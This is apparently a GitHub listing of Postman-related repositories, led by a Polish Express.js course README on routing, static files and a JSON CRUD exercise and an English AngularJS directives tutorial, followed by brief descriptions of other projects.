czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
praveenjkp/POSTMAN_API_DEMO1
intern, internal 		API internal Demo 0 stars 0 watchers 0 forks

instance (5 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
anandjat05/admin-service-api
admin, coverage, image, instance, instances, pipeline, service, services, stat, test, testing, unit, vulnerability 		Project based on Micro-services, I created REST API's, wrote Junit, testing the coverage, bug smell, vulnerability analysis on Sonarqube and static test analysis using Jococo, Jenkins, Postman and Newman deploy through the CI/CD pipeline in ECS cluster using EC2 instances, Dockerhub, Docker Container/image. 1 stars 1 watchers 1 forks
matheusota/CPP-Celina
collection, instance, instances 		Trying to solve Chinese Postman Problems based on real world instances (garbage collection). 0 stars 0 watchers 0 forks
Miheev/newman-runner
collection, collections, instance, instances, multiple, newman, runner 		The Runner of API Integration Tests. Run Postman based collections via multiple Newman instances. 0 stars 0 watchers 0 forks
shetty-shruti/restful-crud-api
